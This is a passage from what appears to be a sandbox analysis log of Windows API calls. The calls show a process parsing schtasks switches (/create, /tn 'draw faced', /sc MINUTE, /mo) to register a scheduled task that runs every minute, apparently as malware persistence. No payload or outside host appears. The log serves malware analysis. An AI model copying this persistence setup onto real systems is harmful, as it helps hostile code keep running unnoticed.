(_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.551] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.551] lstrlenW (lpString="|create|") returned 8 [0121.551] lstrlenW (lpString="|tn|") returned 4 [0121.551] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0121.551] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.551] lstrlenW (lpString="?") returned 1 [0121.551] lstrlenW (lpString="?") returned 1 [0121.551] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] lstrlenW (lpString="tn") returned 2 [0121.551] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.551] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.551] lstrlenW (lpString="|?|") returned 3 [0121.551] lstrlenW (lpString="|tn|") returned 4 [0121.551] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.551] lstrlenW (lpString="s") returned 1 [0121.551] lstrlenW (lpString="s") returned 1 [0121.551] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] lstrlenW (lpString="tn") returned 2 [0121.551] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.551] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.551] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.551] lstrlenW (lpString="|s|") returned 3 [0121.551] lstrlenW (lpString="|tn|") returned 4 [0121.551] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.551] lstrlenW (lpString="u") returned 1 [0121.551] lstrlenW (lpString="u") returned 1 [0121.552] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] lstrlenW (lpString="tn") returned 2 [0121.552] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.552] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.552] lstrlenW (lpString="|u|") returned 3 [0121.552] lstrlenW (lpString="|tn|") returned 4 [0121.552] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.552] lstrlenW (lpString="p") returned 1 [0121.552] lstrlenW (lpString="p") returned 1 [0121.552] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] lstrlenW (lpString="tn") returned 2 [0121.552] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.552] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.552] lstrlenW (lpString="|p|") returned 3 [0121.552] lstrlenW (lpString="|tn|") returned 4 [0121.552] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.552] lstrlenW (lpString="ru") returned 2 [0121.552] lstrlenW (lpString="ru") returned 2 [0121.552] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] lstrlenW (lpString="tn") returned 2 [0121.552] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.552] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.552] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.552] lstrlenW (lpString="|ru|") returned 4 [0121.552] lstrlenW (lpString="|tn|") returned 4 [0121.553] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0121.553] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.553] lstrlenW (lpString="rp") returned 2 [0121.553] lstrlenW (lpString="rp") returned 2 [0121.553] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.553] lstrlenW (lpString="tn") returned 2 [0121.553] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.553] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.553] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.553] lstrlenW (lpString="|rp|") returned 4 [0121.553] lstrlenW (lpString="|tn|") returned 4 [0121.553] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0121.553] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.553] lstrlenW (lpString="sc") returned 2 [0121.553] lstrlenW (lpString="sc") returned 2 [0121.553] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.553] lstrlenW (lpString="tn") returned 2 [0121.553] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.553] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.553] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.553] lstrlenW (lpString="|sc|") returned 4 [0121.553] lstrlenW (lpString="|tn|") returned 4 [0121.553] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0121.553] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.553] lstrlenW (lpString="mo") returned 2 [0121.553] lstrlenW (lpString="mo") returned 2 [0121.553] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.553] lstrlenW (lpString="tn") returned 2 [0121.553] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.554] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.554] lstrlenW (lpString="|mo|") returned 4 [0121.554] lstrlenW (lpString="|tn|") returned 4 [0121.554] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0121.554] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.554] lstrlenW (lpString="d") returned 1 [0121.554] lstrlenW (lpString="d") returned 1 [0121.554] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] lstrlenW (lpString="tn") returned 2 [0121.554] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|d|") returned 3 [0121.554] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.554] lstrlenW (lpString="|d|") returned 3 [0121.554] lstrlenW (lpString="|tn|") returned 4 [0121.554] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.554] lstrlenW (lpString="m") returned 1 [0121.554] lstrlenW (lpString="m") returned 1 [0121.554] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] lstrlenW (lpString="tn") returned 2 [0121.554] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|m|") returned 3 [0121.554] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.554] lstrlenW (lpString="|m|") returned 3 [0121.554] lstrlenW (lpString="|tn|") returned 4 [0121.554] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.554] lstrlenW (lpString="i") returned 1 [0121.554] lstrlenW (lpString="i") returned 1 [0121.554] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.554] lstrlenW (lpString="tn") returned 2 [0121.554] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.555] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|i|") returned 3 [0121.555] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.555] lstrlenW (lpString="|i|") returned 3 [0121.555] lstrlenW (lpString="|tn|") returned 4 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] lstrlenW (lpString="tn") returned 2 [0121.555] lstrlenW (lpString="tn") returned 2 [0121.555] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.555] lstrlenW (lpString="tn") returned 2 [0121.555] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.555] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.555] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.555] lstrlenW (lpString="|tn|") returned 4 [0121.555] lstrlenW (lpString="|tn|") returned 4 [0121.555] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] lstrlenW (lpString="draw faced") returned 10 [0121.555] lstrlenW (lpString="-/") returned 2 [0121.555] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] lstrlenW (lpString="draw faced") returned 10 [0121.555] StrChrIW (lpStart="draw faced", wMatch=0x3a) returned 0x0 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] lstrlenW (lpString="draw faced") returned 10 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.555] lstrlenW (lpString="/sc") returned 3 [0121.556] lstrlenW (lpString="-/") returned 2 [0121.556] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.556] lstrlenW (lpString="create") returned 6 [0121.556] lstrlenW (lpString="create") returned 6 [0121.556] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] lstrlenW (lpString="sc") returned 2 [0121.556] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.556] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.556] lstrlenW (lpString="|create|") returned 8 [0121.556] lstrlenW (lpString="|sc|") returned 4 [0121.556] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0121.556] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.556] lstrlenW (lpString="?") returned 1 [0121.556] lstrlenW (lpString="?") returned 1 [0121.556] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] lstrlenW (lpString="sc") returned 2 [0121.556] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.556] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.556] lstrlenW (lpString="|?|") returned 3 [0121.556] lstrlenW (lpString="|sc|") returned 4 [0121.556] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.556] lstrlenW (lpString="s") returned 1 [0121.556] lstrlenW (lpString="s") returned 1 [0121.556] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] lstrlenW (lpString="sc") returned 2 [0121.556] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.556] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.557] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.557] lstrlenW (lpString="|s|") returned 3 [0121.557] lstrlenW (lpString="|sc|") returned 4 [0121.557] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.557] lstrlenW (lpString="u") returned 1 [0121.557] lstrlenW (lpString="u") returned 1 [0121.557] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.557] lstrlenW (lpString="sc") returned 2 [0121.557] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.557] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.557] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.557] lstrlenW (lpString="|u|") returned 3 [0121.557] lstrlenW (lpString="|sc|") returned 4 [0121.557] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.557] lstrlenW (lpString="p") returned 1 [0121.557] lstrlenW (lpString="p") returned 1 [0121.557] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.557] lstrlenW (lpString="sc") returned 2 [0121.557] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.557] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.557] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.557] lstrlenW (lpString="|p|") returned 3 [0121.557] lstrlenW (lpString="|sc|") returned 4 [0121.557] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.557] lstrlenW (lpString="ru") returned 2 [0121.557] lstrlenW (lpString="ru") returned 2 [0121.557] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.557] lstrlenW (lpString="sc") returned 2 [0121.557] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.558] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.558] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.558] lstrlenW (lpString="|ru|") returned 4 [0121.558] lstrlenW (lpString="|sc|") returned 4 [0121.558] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0121.558] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.558] lstrlenW (lpString="rp") returned 2 [0121.558] lstrlenW (lpString="rp") returned 2 [0121.558] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.558] lstrlenW (lpString="sc") returned 2 [0121.558] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.558] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.558] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.558] lstrlenW (lpString="|rp|") returned 4 [0121.558] lstrlenW (lpString="|sc|") returned 4 [0121.558] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0121.558] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.558] lstrlenW (lpString="sc") returned 2 [0121.558] lstrlenW (lpString="sc") returned 2 [0121.558] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.558] lstrlenW (lpString="sc") returned 2 [0121.558] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.558] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.558] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.558] lstrlenW (lpString="|sc|") returned 4 [0121.558] lstrlenW (lpString="|sc|") returned 4 [0121.558] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0121.558] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.558] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.558] lstrlenW (lpString="MINUTE") returned 6 [0121.559] lstrlenW (lpString="-/") returned 2 [0121.559] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0121.559] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.559] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.559] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.559] lstrlenW (lpString="MINUTE") returned 6 [0121.559] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0121.559] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.559] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.559] GetProcessHeap () returned 0x27bec400000 [0121.559] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec40aa50 [0121.559] _memicmp (_Buf1=0x27bec40aa50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.559] lstrlenW (lpString="MINUTE") returned 6 [0121.559] GetProcessHeap () returned 0x27bec400000 [0121.559] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40ab10 [0121.559] lstrlenW (lpString="MINUTE") returned 6 [0121.559] lstrlenW (lpString=" \x09") returned 2 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0121.559] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0121.559] GetLastError () returned 0x0 [0121.559] lstrlenW (lpString="MINUTE") returned 6 [0121.559] lstrlenW (lpString="MINUTE") returned 6 [0121.560] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.560] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.560] lstrlenW (lpString="/mo") returned 3 [0121.560] lstrlenW (lpString="-/") returned 2 [0121.560] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.560] lstrlenW (lpString="create") returned 6 [0121.560] lstrlenW (lpString="create") returned 6 [0121.560] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.560] lstrlenW (lpString="mo") returned 2 [0121.560] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.560] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.560] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.560] lstrlenW (lpString="|create|") returned 8 [0121.560] lstrlenW (lpString="|mo|") returned 4 [0121.560] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0121.560] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.560] lstrlenW (lpString="?") returned 1 [0121.560] lstrlenW (lpString="?") returned 1 [0121.560] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.560] lstrlenW (lpString="mo") returned 2 [0121.560] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.560] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.560] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.560] lstrlenW (lpString="|?|") returned 3 [0121.560] lstrlenW (lpString="|mo|") returned 4 [0121.560] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.560] lstrlenW (lpString="s") returned 1 [0121.560] lstrlenW (lpString="s") returned 1 [0121.560] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.560] lstrlenW (lpString="mo") returned 2 [0121.561] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.561] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.561] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.561] lstrlenW (lpString="|s|") returned 3 [0121.561] lstrlenW (lpString="|mo|") returned 4 [0121.561] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.561] lstrlenW (lpString="u") returned 1 [0121.561] lstrlenW (lpString="u") returned 1 [0121.561] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.561] lstrlenW (lpString="mo") returned 2 [0121.561] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.561] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.561] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.561] lstrlenW (lpString="|u|") returned 3 [0121.561] lstrlenW (lpString="|mo|") returned 4 [0121.561] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.561] lstrlenW (lpString="p") returned 1 [0121.561] lstrlenW (lpString="p") returned 1 [0121.561] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.561] lstrlenW (lpString="mo") returned 2 [0121.561] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.561] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.561] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.561] lstrlenW (lpString="|p|") returned 3 [0121.561] lstrlenW (lpString="|mo|") returned 4 [0121.561] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.561] lstrlenW (lpString="ru") returned 2 [0121.561] lstrlenW (lpString="ru") returned 2 [0121.561] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] lstrlenW (lpString="mo") returned 2 [0121.562] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.562] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.562] lstrlenW (lpString="|ru|") returned 4 [0121.562] lstrlenW (lpString="|mo|") returned 4 [0121.562] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0121.562] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.562] lstrlenW (lpString="rp") returned 2 [0121.562] lstrlenW (lpString="rp") returned 2 [0121.562] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] lstrlenW (lpString="mo") returned 2 [0121.562] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.562] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.562] lstrlenW (lpString="|rp|") returned 4 [0121.562] lstrlenW (lpString="|mo|") returned 4 [0121.562] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0121.562] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.562] lstrlenW (lpString="sc") returned 2 [0121.562] lstrlenW (lpString="sc") returned 2 [0121.562] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] lstrlenW (lpString="mo") returned 2 [0121.562] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.562] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.562] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: 